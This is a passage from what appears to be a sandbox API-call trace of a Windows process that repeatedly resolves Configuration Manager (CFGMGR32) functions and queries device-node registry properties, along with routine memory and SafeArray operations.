(hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0202.747] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0202.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0202.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0202.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0202.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0202.749] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0202.749] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0202.749] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0202.750] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0202.750] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0202.750] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0202.750] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0202.750] malloc (_Size=0x18) returned 0x196ef0d1da0 [0202.750] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0202.751] malloc (_Size=0x138) returned 0x196ef0d6890 [0202.751] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0202.752] free (_Block=0x196ef0d6890) [0202.752] malloc (_Size=0x48) returned 0x196ef0fbb30 [0202.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x59b4fb12, dwHighDateTime=0x1d9eb0c)) [0202.752] SetEvent (hEvent=0x248) returned 1 [0202.755] malloc (_Size=0x18) returned 0x196ef0d20e0 [0202.755] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0202.755] free (_Block=0x196ef0d20e0) [0202.755] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0202.755] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0202.755] free (_Block=0x196ef0d1ea0) [0202.755] malloc (_Size=0x18) returned 0x196ef0d20c0 [0202.755] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0202.755] free (_Block=0x196ef0d20c0) [0202.755] malloc (_Size=0x18) returned 0x196ef0d1de0 [0202.755] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0202.755] free (_Block=0x196ef0d1de0) [0202.756] malloc (_Size=0x18) returned 0x196ef0d1be0 [0202.756] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0202.756] free (_Block=0x196ef0d1be0) [0202.756] malloc (_Size=0x18) returned 0x196ef0d1de0 [0202.756] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0202.756] free (_Block=0x196ef0d1de0) [0202.756] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855360 [0202.756] SafeArrayGetDim (psa=0x196ee7bfaa0) returned 0x1 [0202.756] SafeArrayGetLBound (in: psa=0x196ee7bfaa0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0202.756] SafeArrayGetUBound (in: psa=0x196ee7bfaa0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0202.756] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b63e0 [0202.756] SafeArrayGetDim (psa=0x196ee7bfaa0) returned 0x1 [0202.756] SafeArrayGetUBound (in: psa=0x196ee7bfaa0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0202.756] SafeArrayGetElemsize (psa=0x196ee7bfaa0) returned 0x8 [0202.757] SafeArrayGetElement (in: psa=0x196ee7bfaa0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0202.757] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee10, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0202.757] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee18, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0202.758] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee20, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0202.758] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee28, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0202.758] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee30, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0202.758] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee38, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0202.759] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b63e0) returned 1 [0202.759] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855360) returned 1 [0202.760] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0202.760] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0202.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0202.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0202.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0202.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0202.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0202.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0202.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0202.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0202.762] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0202.762] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0202.762] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0202.762] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0202.762] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0202.763] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0202.763] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0202.763] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0202.763] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0202.763] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0202.764] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0202.764] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0202.764] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0202.764] malloc (_Size=0x18) returned 0x196ef0d1b00 [0202.764] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0202.764] malloc (_Size=0x28) returned 0x196ef0f9fd0 [0202.765] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0f9fd0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9fd0, pulLength=0x67117d608) returned 0x0 [0202.765] free (_Block=0x196ef0f9fd0) [0202.765] malloc (_Size=0x48) returned 0x196ef0fc080 [0202.765] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x59b6f01f, dwHighDateTime=0x1d9eb0c)) [0202.766] SetEvent (hEvent=0x248) returned 1 [0202.769] malloc (_Size=0x18) returned 0x196ef0d1de0 [0202.769] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0202.770] free (_Block=0x196ef0d1de0) [0202.770] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0202.770] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0202.770] free (_Block=0x196ef0d1cc0) [0202.770] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8567e0 [0202.770] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0202.770] SafeArrayGetLBound (in: psa=0x196ee7bee20, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0202.770] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0202.770] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6290 [0202.770] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0202.770] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0202.770] SafeArrayGetElemsize (psa=0x196ee7bee20) returned 0x8 [0202.771] SafeArrayGetElement (in: psa=0x196ee7bee20, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0202.772] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e850, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0202.772] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e858, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0202.773] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6290) returned 1 [0202.773] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8567e0) returned 1 [0202.773] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0202.773] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0202.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0202.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0202.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0202.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0202.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0202.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0202.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0202.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0202.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0202.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0202.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0202.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0202.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0202.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0202.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0202.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0202.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0202.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0202.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0202.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0202.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0202.779] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0202.779] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0202.783] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0202.783] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x59b9596e, dwHighDateTime=0x1d9eb0c)) [0202.783] SetEvent (hEvent=0x248) returned 1 [0202.876] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0202.877] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0202.877] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0202.877] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0202.877] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0202.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0202.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0202.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0202.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0202.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0202.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0202.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0202.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0202.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0202.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0202.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0202.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0202.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0202.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0202.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0202.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0202.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0202.881] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0202.881] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0202.881] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0202.881] malloc (_Size=0x48) returned 0x196ef0fbe50 [0202.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x59c7b19b, dwHighDateTime=0x1d9eb0c)) [0202.881] SetEvent (hEvent=0x248) returned 1 [0202.884] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0202.884] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0202.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0202.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0202.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0202.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0202.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0202.886] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0202.886] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0202.886] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0202.886] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0202.886] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0202.887] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0202.887] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0202.887] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0202.887] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0202.887] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0202.887] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0202.888] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0202.888] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0202.888] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0202.888] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0202.888] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0202.888] malloc (_Size=0x18) returned 0x196ef0d1980 [0202.888] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0202.889] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0202.889] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x59ca0244, dwHighDateTime=0x1d9eb0c)) [0202.889] SetEvent (hEvent=0x248) returned 1 [0202.892] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0202.892] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0202.893] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0202.893] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0202.893] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0202.893] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0202.893] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0202.893] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0202.894] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0202.894] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0202.894] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0202.894] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0202.894] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0202.895] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0202.895] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0202.895] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0202.895] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0202.896] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0202.896] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0202.896] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0202.896] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0202.896] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0202.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0202.897] malloc (_Size=0x18) returned 0x196ef0d1e80 [0202.897] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0202.897] malloc (_Size=0x48) returned 0x196ef0fba40 [0202.897] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x59ca0244, dwHighDateTime=0x1d9eb0c)) [0202.897] SetEvent (hEvent=0x248) returned 1 [0202.904] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0202.904] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0202.904] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0202.905] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0202.905] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0202.905] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0202.905] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0202.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0202.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0202.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0202.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0202.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0202.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0202.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0202.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0202.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0202.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0202.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0202.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0202.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0202.908] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0202.908] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0202.908] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0202.908] malloc (_Size=0x18) returned 0x196ef0d1980 [0202.908] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x1, 